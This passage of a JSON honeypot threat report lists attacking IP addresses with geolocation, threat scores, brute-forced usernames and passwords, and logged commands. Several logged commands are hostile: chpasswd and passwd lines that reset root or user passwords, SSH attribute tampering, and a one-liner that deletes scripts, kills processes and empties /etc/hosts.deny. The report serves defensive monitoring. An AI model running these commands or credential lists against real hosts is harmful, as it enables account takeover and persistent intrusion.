        "echo \"1234\\nAahgO8uAvWQ7\\nAahgO8uAvWQ7\\n\"|passwd",
        "echo \"Admin8\\naso1qRTveZ3T\\naso1qRTveZ3T\\n\"|passwd",
        "echo \"Claude31\\njor4oNCg283l\\njor4oNCg283l\\n\"|passwd",
        "echo \"root:z35YX5riWqT2\"|chpasswd|bash",
        "echo -e \"1234\\nAahgO8uAvWQ7\\nAahgO8uAvWQ7\"|passwd|bash",
        "echo -e \"Admin8\\naso1qRTveZ3T\\naso1qRTveZ3T\"|passwd|bash",
        "echo -e \"Claude31\\njor4oNCg283l\\njor4oNCg283l\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 267843,
      "as_org": "TCA SERVICES C.A.",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 660,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T13:38:05.987000+00:00",
        "last_seen_30d": "2026-04-22T16:06:03.236000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 530,
        "Suricata": 130
      }
    },
    "27.79.4.213": {
      "attack_count": 481,
      "first_seen": "2026-04-16T08:42:10.740Z",
      "last_seen": "2026-04-16T09:06:52.608Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "support",
        "cisco",
        "monitor",
        "test",
        "ubnt",
        "*****",
        "123456",
        "ace",
        "admian",
        "anton",
        "backup",
        "belkinstyle",
        "btf",
        "cf1c22",
        "config",
        "cpanel",
        "demo"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin",
        "P@ssw0rd",
        "abc123",
        "password",
        "*****",
        "0987654321",
        "1111",
        "111111",
        "112233",
        "12345",
        "12345678",
        "123456789",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "abcdefg"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 689,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T08:42:10.740000+00:00",
        "last_seen_30d": "2026-04-16T09:07:59.294000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 481,
        "Suricata": 208
      }
    },
    "41.33.91.226": {
      "attack_count": 455,
      "first_seen": "2026-04-05T15:51:08.498Z",
      "last_seen": "2026-04-19T11:10:13.308Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "ali",
        "postgres",
        "steam",
        "ubuntu",
        "vpn",
        "admin",
        "ben",
        "bodega",
        "cron",
        "deploy",
        "game",
        "github",
        "gitlab",
        "misha",
        "teamspeak2",
        "test",
        "tester1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "000000",
        "123",
        "123.com",
        "123456",
        "123456789",
        "123456qwe!",
        "202520",
        "2wsxXSW@",
        "654321",
        "Aa12345678@",
        "Ac147258",
        "Admin!@#$",
        "Admin1234567@#",
        "Ali16!",
        "Ali22!",
        "BBdd111",
        "Cs123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:Cm85KOoIyvSA\"|chpasswd|bash",
        "echo \"root:gdhtMBcWK8vV\"|chpasswd|bash",
        "echo \"vpn26\\nzvxnOi3gLe6G\\nzvxnOi3gLe6G\\n\"|passwd",
        "echo -e \"vpn26\\nzvxnOi3gLe6G\\nzvxnOi3gLe6G\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 583,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:51:08.498000+00:00",
        "last_seen_30d": "2026-04-19T11:11:18.177000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 455,
        "Suricata": 128
      }
    },
    "59.98.83.57": {
      "attack_count": 399,
      "first_seen": "2026-04-12T01:55:49.219Z",
      "last_seen": "2026-04-12T02:41:25.286Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "mark",
        "test",
        "admin",
        "bot",
        "brandon",
        "claude",
        "gerrit",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "112233",
        "1122334455",
        "123",
        "1qaz2wsx@#",
        "999999",
        "Abcd1234567$",
        "Bc123456",
        "Bot!",
        "Ftpuser28!",
        "QWE",
        "QWERTYUI12345",
        "Root21",
        "Root321!",
        "abcd1234!@#$",
        "admin124",
        "admin12@#",
        "brandon",
        "changeme"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"mark\\nHOqN204PFiYn\\nHOqN204PFiYn\\n\"|passwd",
        "echo \"root:CzGJziev6yU9\"|chpasswd|bash",
        "echo \"root:OCYMrvAc3thB\"|chpasswd|bash",
        "echo \"test6\\nY67LojNL7vz4\\nY67LojNL7vz4\\n\"|passwd",
        "echo -e \"mark\\nHOqN204PFiYn\\nHOqN204PFiYn\"|passwd|bash",
        "echo -e \"test6\\nY67LojNL7vz4\\nY67LojNL7vz4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Tenkasi district",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T01:55:49.219000+00:00",
        "last_seen_30d": "2026-04-12T02:42:26.396000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 75
      }
    },
    "156.238.252.133": {
      "attack_count": 397,
      "first_seen": "2026-04-19T14:58:29.503Z",
      "last_seen": "2026-04-24T08:04:31.931Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "claude",
        "steam",
        "user",
        "345gs5662d34",
        "dev",
        "postgres",
        "test",
        "ubuntu",
        "alba",
        "deploy",
        "deployop",
        "ec2-user",
        "email",
        "frappe",
        "ftpuser",
        "hadoopuser",
        "nemo",
        "odoo",
        "oracle"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "010101",
        "1234",
        "123456",
        "1qa@WS3ed$RF",
        "1qwerty",
        "9ijn0okm",
        "Aa112211.",
        "Aa888888",
        "Claude03",
        "Claude24",
        "Dev22",
        "Frappe",
        "Ftpuser17",
        "Jh123456",
        "P@sssw0rd",
        "Qazwsx1111111",
        "Qw147258"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"9ijn0okm\\nE4pMqWBQ48C7\\nE4pMqWBQ48C7\\n\"|passwd",
        "echo \"root:VoXfp0alXkaa\"|chpasswd|bash",
        "echo -e \"9ijn0okm\\nE4pMqWBQ48C7\\nE4pMqWBQ48C7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 8796,
      "as_org": "FASTNET DATA INC",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T14:58:29.503000+00:00",
        "last_seen_30d": "2026-04-24T08:05:37.498000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 397,
        "Suricata": 125
      }
    },
    "79.104.0.82": {
      "attack_count": 372,
      "first_seen": "2026-04-26T06:15:29.225Z",
      "last_seen": "2026-04-27T11:01:25.035Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oracle",
        "teamspeak",
        "ubuntu",
        "deploy",
        "dev",
        "dsm",
        "frappe",
        "ftpuser",
        "game",
        "hb",
        "infidati",
        "mehrdad",
        "nacos",
        "pt",
        "seekcy",
        "sistemas",
        "sysadmin",
        "tesla"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZWSXEDC@#",
        "0",
        "12341234",
        "1234567q",
        "1q@W#E$R",
        "645727AND",
        "987654",
        "ASDAS",
        "Aa12",
        "Abc123...",
        "Asdfg",
        "DeadEye1@2",
        "Ftpuser02",
        "Joysuch@Locate2020",
        "Jr123456",
        "P@$$w0rD123",
        "Pa$$W0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"oracle-123\\niBBTObfZRPXO\\niBBTObfZRPXO\\n\"|passwd",
        "echo \"root:uEpXXIgARz6L\"|chpasswd|bash",
        "echo -e \"oracle-123\\niBBTObfZRPXO\\niBBTObfZRPXO\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 36.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 484,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T06:15:29.225000+00:00",
        "last_seen_30d": "2026-04-27T11:02:28.933000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 112
      }
    },
    "160.187.147.124": {
      "attack_count": 360,
      "first_seen": "2026-04-06T21:40:32.799Z",
      "last_seen": "2026-04-21T19:40:41.042Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "ubuntu",
        "frappe",
        "git",
        "minecraft",
        "user",
        "admin1234",
        "anna",
        "gemini",
        "nikola",
        "sammy",
        "test",
        "test2",
        "testuser",
        "vpn",
        "wc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1010",
        "112358",
        "123!@#qwe",
        "123123",
        "12345678",
        "1234@zxcv",
        "1Qwertyuiop",
        "1qaz@wsx",
        "AA123456789",
        "AAxx000",
        "Aa987654321",
        "Admin@9000",
        "ChangeMe123!",
        "Change_Me",
        "Lg!123456",
        "Nihao123",
        "P@ssw0rd12345",
        "Qazwsx2018#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Steam25\\nLUviBIY9NbKB\\nLUviBIY9NbKB\\n\"|passwd",
        "echo -e \"Steam25\\nLUviBIY9NbKB\\nLUviBIY9NbKB\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 36.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 489,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T21:40:32.799000+00:00",
        "last_seen_30d": "2026-04-21T19:41:44.514000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 360,
        "Suricata": 129
      }
    },
    "27.112.79.178": {
      "attack_count": 330,
      "first_seen": "2026-04-17T09:58:59.927Z",
      "last_seen": "2026-04-17T10:41:58.705Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "postgres",
        "ubuntu",
        "Azure",
        "deploy",
        "dev",
        "lee",
        "mk",
        "n8n",
        "odoo",
        "server",
        "test1",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345679",
        "123456Aa",
        "123asd!@#ASD",
        "3edc@WSX!QAZ",
        "Abc@123456789",
        "Dev28!",
        "Frappe10!",
        "N8n!2025",
        "Pa55word",
        "Root24!",
        "YuLiShoping123...",
        "aaa",
        "admin17!",
        "mk123",
        "odoo@",
        "qazwsx123456789@",
        "qazwsx2020#$",
        "qwe"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qwe\\nHf0zk6ks20xw\\nHf0zk6ks20xw\\n\"|passwd",
        "echo \"root:CsFUvnMaqF5B\"|chpasswd|bash",
        "echo \"root:QzQk1hzoPQaS\"|chpasswd|bash",
        "echo -e \"qwe\\nHf0zk6ks20xw\\nHf0zk6ks20xw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T09:58:59.927000+00:00",
        "last_seen_30d": "2026-04-17T10:43:07.473000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "160.251.169.213": {
      "attack_count": 312,
      "first_seen": "2026-04-04T03:31:59.247Z",
      "last_seen": "2026-04-26T07:01:54.349Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "minecraft",
        "ubuntu",
        "345gs5662d34",
        "bence",
        "claude",
        "deploy",
        "deployer",
        "github-runner",
        "informix",
        "loginuser",
        "marko",
        "postgres",
        "seekcy",
        "steam",
        "sysadmin",
        "test"
      ],
      "passwords_attempted": [
        "1234567",
        "123456@",
        "12345@QWER",
        "345gs5662d34",
        "3edc..",
        "7ujm8ik,",
        "Aa654321!",
        "BBqq123123",
        "Claude2026!",
        "Joysuch@Locate2020",
        "Letmein2025",
        "P@ssw0rd",
        "Qazwsx112233#",
        "Qq123!@#",
        "Qw147258",
        "Qwertyuiop123@",
        "Royal@123",
        "Test16!",
        "User123!",
        "Zd123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bence\\nIW62BNh1Igkh\\nIW62BNh1Igkh\\n\"|passwd",
        "echo \"root:nRE6nULVME3C\"|chpasswd|bash",
        "echo -e \"bence\\nIW62BNh1Igkh\\nIW62BNh1Igkh\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 49.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 410,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T03:31:59.247000+00:00",
        "last_seen_30d": "2026-04-26T07:03:04.374000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 98
      }
    },
    "51.75.194.10": {
      "attack_count": 273,
      "first_seen": "2026-04-25T20:21:09.878Z",
      "last_seen": "2026-04-25T21:27:24.937Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "deploy",
        "runner",
        "sysadmin",
        "test",
        "admin",
        "bot",
        "cuser",
        "devuser",
        "frappe",
        "mb",
        "odoo",
        "postgres",
        "seekcy",
        "sftp",
        "teamspeak",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "111111",
        "1234",
        "1QA2ws3ed",
        "1q2w3e4r",
        "1qaz2wsx3edc",
        "25251325",
        "666666",
        "Bot24",
        "Joysuch@Locate2020",
        "Odoo2026",
        "Postgres03",
        "Teamspeak13!",
        "abc123!@",
        "admin",
        "admin01!",
        "asdfghjkl"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"666666\\nWoS85WwkjhMV\\nWoS85WwkjhMV\\n\"|passwd",
        "echo \"sysadmin@1\\nMHRun6UW5K91\\nMHRun6UW5K91\\n\"|passwd",
        "echo -e \"666666\\nWoS85WwkjhMV\\nWoS85WwkjhMV\"|passwd|bash",
        "echo -e \"sysadmin@1\\nMHRun6UW5K91\\nMHRun6UW5K91\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T20:21:09.878000+00:00",
        "last_seen_30d": "2026-04-25T21:28:30.489000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 273,
        "Suricata": 67
      }
    },
    "1.214.197.163": {
      "attack_count": 263,
      "first_seen": "2026-04-03T15:07:55.322Z",
      "last_seen": "2026-04-03T16:05:46.389Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deployer",
        "etluser",
        "ftpuser",
        "indico",
        "omkar",
        "prometheus",
        "pt",
        "sergio",
        "testserver",
        "ubuntu",
        "user",
        "user3",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111",
        "123",
        "12345",
        "123456.Aa",
        "Admin1234567@",
        "Oracle12",
        "Qazwsx2022#$",
        "Qwert!",
        "Qwert123!",
        "ftpuser08",
        "indico",
        "key",
        "nigga",
        "omkar",
        "p4$$w0rd",
        "prometheus",
        "pt123",
        "qazwsx999@@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nWPw9eWx8Orvc\\nWPw9eWx8Orvc\\n\"|passwd",
        "echo \"qwerty\\n0vixdT0NaDlo\\n0vixdT0NaDlo\\n\"|passwd",
        "echo -e \"12345\\nWPw9eWx8Orvc\\nWPw9eWx8Orvc\"|passwd|bash",
        "echo -e \"qwerty\\n0vixdT0NaDlo\\n0vixdT0NaDlo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jongno-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 3.8,
      "threat_level": "minimal",
